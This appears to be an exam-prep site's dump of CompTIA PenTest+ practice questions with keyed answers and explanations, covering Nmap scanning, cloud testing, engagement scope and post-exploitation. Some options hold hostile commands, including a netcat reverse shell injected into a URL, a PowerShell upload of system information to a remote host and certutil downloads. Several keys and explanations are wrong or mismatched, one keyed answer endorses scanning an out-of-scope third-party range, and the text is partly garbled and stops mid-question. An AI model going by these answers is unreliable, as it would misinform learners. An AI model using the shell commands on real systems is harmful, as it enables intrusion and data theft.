CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

About Exambible

Your Partner of IT Exam

Found in 1998

Exambible is a company specialized on providing high quality IT exam practice study materials, especially Cisco CCNA, CCDA, CCNP, CCIE, Checkpoint CCSE, CompTIA A+, Network+ certification practice exams and so on. We guarantee that the candidates will not only pass any IT exam at the first attempt but also get profound understanding about the certificates they have got. There are so many alike companies in this industry, however, Exambible has its unique advantages that other companies could not achieve.

Our Advances

* 99.9% Uptime

All examinations will be up to date.

* 24/7 Quality Support

We will provide service round the clock.

* 100% Pass Rate

Our guarantee that you will pass the exam.

* Unique Gurantee

If you do not pass the exam at the first time, we will not only arrange FULL REFUND for you, but also provide you another exam of your claim, ABSOLUTELY FREE!

NEW QUESTION 1
Deconfliction is necessary when the penetration test:

A. determines that proprietary information is being stored in cleartext.
B. occurs during the monthly vulnerability scanning.
C. uncovers indicators of prior compromise over the course of the assessment.
D. proceeds in parallel with a criminal digital forensic investigation.

Answer: C

Explanation:
This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

NEW QUESTION 2
A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?

A. -8 -T0
B. --script "http*vuln*"
C. -sn
D. -O -A

Answer: B

Explanation:
Nmap is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The command Nmap -p 445 -n -T4 --open 172.21.0.0/16 would scan for SMB port 445 over a /16 network with the following options:

- -p 445 specifies the port number to scan.
- -n disables DNS resolution, which can speed up the scan by avoiding unnecessary queries.
- -T4 sets the timing template to aggressive, which increases the speed of the scan by sending packets faster and waiting less for responses.
- –open only shows hosts that have open ports, which can reduce the output and focus on relevant results.

The other commands are not optimal for scanning SMB port 445 over a /16 network when stealth is not a concern and the task is time sensitive.

NEW QUESTION 3
A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?

A. nmap -sT -vvv -O 192.168.1.2/24 -PO
B. nmap -sV 192.168.1.2/24 -PO
C. nmap -sA -v -O 192.168.1.2/24
D. nmap -sS -O 192.168.1.2/24 -T1

Answer: D

NEW QUESTION 4
Which of the following is the most secure method for sending the penetration test report to the client?

A. Sending the penetration test report on an online storage system.
B. Sending the penetration test report inside a password-protected ZIP file.
C. Sending the penetration test report via webmail using an HTTPS connection.
D. Encrypting the penetration test report with the client’s public key and sending it via email.

Answer: D

Explanation:
This is the most secure method for sending the penetration test report to the client because it ensures that only the client can decrypt and read the report using their private key. Encrypting the report with the client’s public key prevents anyone else from accessing the report, even if they intercept or compromise the email. The other methods are not as secure because they rely on weaker or no encryption, or they expose the report to third-party services that may not be trustworthy or compliant.

NEW QUESTION 5
A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1  -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

A. nc 10.10.1.2
B. ssh 10.10.1.2
C. nc 127.0.0.1 5555
D. ssh 127.0.0.1 5555

Answer: C

NEW QUESTION 6
During the reconnaissance phase, a penetration tester obtains the following output:
Reply from 192.168.1.23: bytes=32 time<54ms TTL=128
Reply from 192.168.1.23: bytes=32 time<53ms TTL=128
Reply from 192.168.1.23: bytes=32 time<60ms TTL=128
Reply from 192.168.1.23: bytes=32 time<51ms TTL=128
Which of the following operating systems is MOST likely installed on the host?

A. Linux
B. NetBSD
C. Windows
D. macOS

Answer: C

Explanation:
The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.

NEW QUESTION 7
A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

A. iam_enum_permissions
B. iam_privesc_scan
C. iam_backdoor_assume_role
D. iam_bruteforce_permissions

Answer: A

Explanation:
The iam_enum_permissions module will enable the tester to determine the level of access of the existing user in the cloud environment of a company, as it will list all permissions associated with an IAM user3. IAM (Identity and Access Management) is a service that enables users to manage access and permissions for AWS resources. Pacu is a tool that can be used to perform penetration testing on AWS environments4.

NEW QUESTION 8
Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

A. chmod u+x script.sh
B. chmod u+e script.sh
C. chmod o+e script.sh
D. chmod o+x script.sh

Answer: A

NEW QUESTION 9
Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

A. SOW
B. SLA
C. MSA
D. NDA

Answer: A

Explanation:
The document that is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables is the SOW (Statement of Work). The SOW is a formal document that describes the objectives, expectations, and responsibilities of the penetration-testing project2. The SOW should be clear, concise, and comprehensive to avoid any ambiguity or misunderstanding.

NEW QUESTION 10
An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

A. nmap 192.168.0.1/24
B. nmap 192.168.0.1/24
C. nmap oG 192.168.0.1/24
D. nmap 192.168.0.1/24

Answer: A

NEW QUESTION 10
While performing the scanning phase of a penetration test, the penetration tester runs the following command:
.....v -sV -p- 10.10.10.23-28

....ip scan is finished, the penetration tester notices all hosts seem to be down.
Which of the following options should the penetration tester try next?

A. -su
B. -pn
C. -sn
D. -ss

Answer: B

Explanation:
The command nmap -v -sV -p- 10.10.10.23-28 is a command that performs a port scan using nmap, which is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses1. The command has the following options:

- -v enables verbose mode, which increases the amount of information displayed by nmap
- -p- specifies that all ports from 1 to 65535 should be scanned

* 10.10.10.23-28 specifies the range of IP addresses to be scanned
The command does not have any option for host discovery, which is a process that determines which hosts are alive or reachable on a network by sending probes such as ICMP echo requests, TCP SYN packets, or ACK packets. Host discovery can help speed up the scan by avoiding scanning hosts that are down or do not respond. However, some hosts may be configured to block or ignore host discovery probes, which can cause nmap to report them as down even if they are up. To avoid this problem, the penetration tester should use the -Pn option, which skips host discovery and assumes that all hosts are up. This option can force nmap to scan all hosts regardless of their response to host discovery probes, and may reveal some hosts that were previously missed. The other options are not valid options that the penetration tester should try next. The -su option does not exist in nmap, and would cause an error. The -sn option performs a ping scan and lists hosts that respond, but it does not scan any ports or services, which is not useful for the penetration test. The -ss option does not exist in nmap, and would cause an error.

NEW QUESTION 15
A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
        target = socket.gethostbyname(sys.argv[1])
else:
        print("Few arguments.")
        print("Syntax: python {} <>".format(sys.argv[0]))
        sys.exit()


try:
        for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
                print("Port {} is opened".format(port))

except KeyboardInterrupt:
        print("Exiting...")
        sys.exit()
```

However, the tester is receiving the following error when trying to run the script:

```
$ python script.py 192.168.0.1
Traceback (most recent call last):
   File "script.py", line 7, in <module>
      if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

A. The sys variable was not defined.
B. The argv variable was not defined.
C. The sys module was not imported.
D. The argv module was not imported.

Answer: C

Explanation:
The sys module is a built-in module in Python that provides access to system-specific parameters and functions, such as command-line arguments, standard input/output, and exit status. The sys module must be imported before it can be used in a script, otherwise an error will occur. The script uses the sys.argv variable, which is a list that contains the command-line arguments passed to the script. However, the script does not import the sys module at the beginning, which causes the error “NameError: name ‘sys’ is not defined”. To fix this error, the script should include the statement “import sys” at the top. The other options are not valid reasons for the error.

NEW QUESTION 18

Which of the following would a company's hunt team be MOST interested in seeing in a final report?

A. Executive summary
B. Attack TTPs
C. Methodology
D. Scope details

Answer: B

NEW QUESTION 21
A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:
U3VQZXIkM2NyZXQhCg==
Which of the following commands should the tester use NEXT to decode the contents of the file?

A. echo U3VQZXIkM2NyZXQhCg== | base64 €"d
B. tar zxvf password.txt
C. hydra €"l svsacct €"p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

Answer: A

NEW QUESTION 24
A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.
In which of the following places should the penetration tester look FIRST for the employees' numbers?

A. Web archive
B. GitHub
C. File metadata
D. Underground forums

Answer: A

NEW QUESTION 28
A penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?

A. Key reinstallation
B. Deauthentication
C. Evil twin
D. Replay

Answer: B

Explanation:
Deauth will make the client connect again

NEW QUESTION 29
A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.
Which of the following is the BEST action for the penetration tester to take?

A. Utilize the tunnel as a means of pivoting to other internal devices.
B. Disregard the IP range, as it is out of scope.
C. Stop the assessment and inform the emergency contact.
D. Scan the IP range for additional systems to exploit.

Answer: D

NEW QUESTION 30
A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

A. Configure wireless access to use a AAA server.
B. Use random MAC addresses on the penetration testing distribution.
C. Install a host-based firewall on the penetration testing distribution.
D. Connect to the penetration testing company's VPS using a VPN.

Answer: D

Explanation:
The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company's VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client's network securely and bypass any firewall or network restrictions.

NEW QUESTION 32

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.
Which of the following is the BEST way to ensure this is a true positive?

A. Run another scanner to compare.
B. Perform a manual test on the server.
C. Check the results on the scanner.
D. Look for the vulnerability online.

Answer: B

NEW QUESTION 35
After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:

```
-rwxrwxrwx   1 root     root         915 Mar   6  2020 /scripts/daily_log_backup.sh
```

Which of the following actions should the tester perform FIRST?

A. Change the file permissions.
B. Use privilege escalation.
C. Cover tracks.
D. Start a reverse shell.

Answer: B

Explanation:
The file .scripts/daily_log_backup.sh has permissions set to 777, meaning that anyone can read, write, or execute the file. Since it's owned by the root user and the penetration tester has access to the system with a non-privileged account, this could be a potential avenue for privilege escalation. In a penetration test, after finding such a file, the tester would likely want to explore it and see if it can be leveraged to gain higher privileges. This is often done by inserting malicious code or commands into the script if it's being executed with higher privileges, such as root in this case.

NEW QUESTION 38
Appending string values onto another string is called:

A. compilation
B. connection
C. concatenation
D. conjunction

Answer: C

Explanation:
Concatenation is the term used to describe the process of appending string values onto another string. In Python, concatenation can be done using the + operator, such as “Hello” + “World” = "HelloWorld"4.

NEW QUESTION 39
A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:
python -c 'import pty; pty.spawn("/bin/bash")'
Which of the following actions Is the penetration tester performing?

A. Privilege escalation
B. Upgrading the shell
C. Writing a script for persistence
D. Building a bind shell

Answer: B

Explanation:
The penetration tester is performing an action called upgrading the shell, which means improving the functionality and interactivity of the shell. By running the python command, the penetration tester is spawning a new bash shell that has features such as tab completion, command history, and job control. This can help the penetration tester to execute commands more easily and efficiently.

NEW QUESTION 42
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

A. Acceptance by the client and sign-off on the final report
B. Scheduling of follow-up actions and retesting
C. Attestation of findings and delivery of the report
D. Review of the lessons learned during the engagement

Answer: C

NEW QUESTION 44
A penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f /var/www/html/G679h32gYu.php
Which of the following BEST explains why the penetration tester wants this command executed?

A. To trick the systems administrator into installing a rootkit
B. To close down a reverse shell
C. To remove a web shell after the penetration test
D. To delete credentials the tester created

Answer: C

Explanation:
s for why the penetration tester wants this command executed.

NEW QUESTION 48
A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

A. TCP port 443 is not open on the firewall
B. The API server is using SSL instead of TLS
C. The tester is using an outdated version of the application
D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 53
Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

A. The IP address is wrong.
B. The server is unreachable.
C. The IP address is on the blocklist.
D. The IP address is on the allow list.

Answer: C

Explanation:
for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blocklist. Blocklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blocklist, the scanning process will be blocked.

NEW QUESTION 55
Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

A. Exploit-DB
B. Metasploit
C. Shodan
D. Retina

Answer: A

Explanation:
"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"
Exploit-DB is a website that collects and archives exploits for various software and hardware products, including network infrastructure devices. Exploit-DB allows users to search for exploits by product name, vendor, type, platform, CVE number, or date. Exploit-DB is a useful resource for obtaining payloads against specific network infrastructure products. Metasploit is a framework that contains many exploits and payloads, but it is not a resource for obtaining them. Shodan is a search engine that scans the internet for devices and services, but it does not provide exploits or payloads. Retina is a vulnerability scanner that identifies weaknesses in network devices, but it does not provide exploits or payloads.

NEW QUESTION 57
A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a
social-engineering method that, if successful, would MOST likely enable both objectives?

A. Send an SMS with a spoofed service number including a link to download a malicious application.
B. Exploit a vulnerability in the MDM and create a new account and device profile.
C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Answer: A

Explanation:
Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

NEW QUESTION 62
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

A. Wireshark

B. Nessus
C. Retina
D. Burp Suite
E. Shodan
F. Nikto

Answer: AE

Explanation:
Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one's identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.

NEW QUESTION 64
A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

A. Enforce mandatory employee vacations
B. Implement multifactor authentication
C. Install video surveillance equipment in the office
D. Encrypt passwords for bank account information

Answer: A

Explanation:
If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.
Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee vacations are a form of internal control that requires employees to take time off from work periodically and have their duties performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have exclusive access or control over certain processes or systems.

NEW QUESTION 69
PCI DSS requires which of the following as part of the penetration-testing process?

A. The penetration tester must have cybersecurity certifications.
B. The network must be segmented.
C. Only externally facing systems should be tested.
D. The assessment must be performed during non-working hours.

Answer: B

NEW QUESTION 73
A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

A. Segment the firewall from the cloud.
B. Scan the firewall for vulnerabilities.
C. Notify the client about the firewall.
D. Apply patches to the firewall.

Answer: C

Explanation:
The best option for the tester to take is to notify the client about the firewall. The firewall is not part of the original list of IP addresses for the engagement, which means it is out of scope and should not be tested without permission. The tester should inform the client about the existence and potential risks of the firewall, and ask if they want to include it in the scope or not.

NEW QUESTION 74
A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

A. Network segmentation
B. Key rotation
C. Encrypted passwords
D. Patch management

Answer: D

Explanation:
Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.
Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does

not address the vulnerability itself.
Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.
Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 77
An organization wants to identify whether a less secure protocol is being utilized on a wireless network. Which of the following types of attacks will achieve this goal?

A. Protocol negotiation
B. Packet sniffing
C. Four-way handshake
D. Downgrade attack

Answer: D

Explanation:
A downgrade attack is a type of attack that exploits a vulnerability in the protocol negotiation process between a client and a server to force them to use a less secure protocol than they originally intended. A downgrade attack can be used to identify whether a less secure protocol is being utilized on a wireless network by intercepting and modifying the messages exchanged during the protocol negotiation phase, such as the association request and response frames, and making the client and the server agree on a weaker protocol, such as WEP or WPA, instead of a stronger one, such as WPA2 or WPA3. A downgrade attack can also enable the attacker to perform other attacks, such as cracking the encryption keys or capturing the network traffic, more easily by taking advantage of the weaknesses of the less secure protocol. A downgrade attack can be performed by using tools such as Airgeddon, which is a multi-use bash script for Linux systems to audit wireless networks1.

NEW QUESTION 80
A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

A. Prying the lock open on the records room
B. Climbing in an open window of the adjoining building
C. Presenting a false employee ID to the night guard
D. Obstructing the motion sensors in the hallway of the records room

Answer: B

Explanation:
The terms of engagement state that the penetration test should not include circumventing the alarm or performing destructive entry, which rules out options A and D. Option C is also not allowed, as it involves social engineering, which is not part of the scope. Option B is the only one that does not violate the terms of engagement, as it uses an open door from an adjoining building to gain access to the records room. This can help the penetration tester to test the physical security of the electronic records without breaking any rules.

NEW QUESTION 83
A penetration tester ran an Nmap scan on an Internet-facing network device with the –F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:
nmap –O –A –sS –p- 100.100.100.50
Nmap returned that all 65,535 ports were filtered.
Which of the following MOST likely occurred on the second scan?

A. A firewall or IPS blocked the scan.
B. The penetration tester used unsupported flags.
C. The edge network device was disconnected.
D. The scan returned ICMP echo replies.

Answer: A

NEW QUESTION 84
A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company’s request?

A. The reverse-engineering team may have a history of selling exploits to third parties.
B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 85
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company’s privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

A. OpenVAS
B. Nikto
C. SQLmap

D. Nessus

Answer: C

NEW QUESTION 88
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

A. Aircrack-ng
B. Wireshark
C. Wifite
D. Kismet

Answer: A

Explanation:
Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points. Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

NEW QUESTION 90
The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

A. nmap snn exclude 10.1.1.15 10.1.1.0/24 oA target_txt
B. nmap iR10oX out.xml | grep Nmap | cut d "f5 > live-hosts.txt
C. nmap PnsV OiL target.txt A target_text_Service
D. nmap sSPn n iL target.txt A target_txtl

Answer: A

Explanation:
According to the Official CompTIA PenTest+ Self-Paced Study Guide1, the correct answer is A. nmap -sn -n
-exclude 10.1.1.15 10.1.1.0/24 -oA target_txt.
This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24,
excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target_txt (-oA).

NEW QUESTION 95
Which of the following BEST describe the OWASP Top 10? (Choose two.)

A. The most critical risks of web applications
B. A list of all the risks of web applications
C. The risks defined in order of importance
D. A web-application security standard
E. A risk-governance and compliance framework
F. A checklist of Apache vulnerabilities

Answer: AC

Explanation:
These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.

NEW QUESTION 100
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

A. Reach out to the primary point of contact
B. Try to take down the attackers
C. Call law enforcement officials immediately
D. Collect the proper evidence and add to the final report

Answer: A

Explanation:
The penetration tester should reach out to the primary point of contact as soon as possible to inform them of the critical vulnerability and the active exploitation by cybercriminals. This is the most responsible and ethical course of action, as it allows the client to take immediate steps to mitigate the risk and protect their assets. The other options are not appropriate or effective in this situation. Trying to take down the attackers would be illegal and dangerous, as it may escalate the conflict or cause collateral damage. Calling law enforcement officials immediately would be premature and unnecessary, as it may involve disclosing confidential information or violating the scope of the engagement. Collecting the proper evidence and adding to the final report would be too slow and passive, as it would delay the notification and remediation of the vulnerability.

NEW QUESTION 104
Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

A. To provide feedback on the report structure and recommend improvements
B. To discuss the findings and dispute any false positives
C. To determine any processes that failed to meet expectations during the assessment
D. To ensure the penetration-testing team destroys all company data that was gathered during the test

Answer: C

NEW QUESTION 107
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery
B. Server-side request forgery
C. Remote file inclusion
D. Local file inclusion

Answer: B

Explanation:
Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider's metadata and getting the credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which contains sensitive information about the instance, such as credentials, IP addresses, roles, etc.

NEW QUESTION 109
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

A. Certutil –urlcache –split –f http://192.168.2.124/windows-binaries/ accesschk64.exe
B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
D. Wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe

Answer: A

Explanation:
https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-whil
--- https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
The certutil command is a Windows utility that can be used to manipulate certificates and certificate authorities. However, it can also be abused by attackers to download files from remote servers using the –urlcache option. In this case, the command downloads accesschk64.exe from http://192.168.2.124/windows-binaries/ and saves it locally. Accesschk64.exe is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. Schtasks is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. Wget is a Linux command that can be used to download files from the web, but it does not work on Windows by default.

NEW QUESTION 110
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR
DELAY '00:00:05'
Which of the following should the penetration tester attempt NEXT?

A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
B. http://company.com/catalog.asp?productid=22' OR 1=1 -
C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -
D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash

Answer: C

Explanation:
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 112
Which of the following is a rules engine for managing public cloud accounts and resources?

A. Cloud Custodian
B. Cloud Brute
C. Pacu
D. Scout Suite

Answer: A

Explanation:

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
Cloud Custodian is a tool that can be used to manage public cloud accounts and resources. Cloud Custodian can define policies and rules for cloud resources based on various criteria, such as tags, filters, actions, modes, or schedules. Cloud Custodian can enforce compliance, governance, security, cost optimization, and operational efficiency for cloud resources. Cloud Custodian supports multiple public cloud providers, such as AWS, Azure, GCP, and Kubernetes. Cloud Brute is a tool that can be used to enumerate cloud platforms and discover hidden files and buckets. Pacu is a tool that can be used to exploit AWS environments and perform post-exploitation actions. Scout Suite is a tool that can be used to audit cloud environments and identify security issues.

NEW QUESTION 114
Which of the following tools provides Python classes for interacting with network protocols?

A. Responder
B. Impacket
C. Empire
D. PowerSploit

Answer: B

Explanation:
Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.

NEW QUESTION 115
During enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would best support ----------company systems?

A. Aside-channel attack
B. A command injection attack
C. A watering-hole attack
D. A cross-site scripting attack

Answer: C

Explanation:
The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users' devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them2. The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.

NEW QUESTION 118
Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

A. will reveal vulnerabilities in the Modbus protocol.
B. may cause unintended failures in control systems.
C. may reduce the true positive rate of findings.
D. will create a denial-of-service condition on the IP networks.

Answer: B

NEW QUESTION 123
A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

A. Try to obtain the private key used for S/MIME from the CEO's account.
B. Send an email from the CEO's account, requesting a new account.
C. Move laterally from the mail server to the domain controller.
D. Attempt to escalate privileges on the mail server to gain root access.

Answer: D

NEW QUESTION 125
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

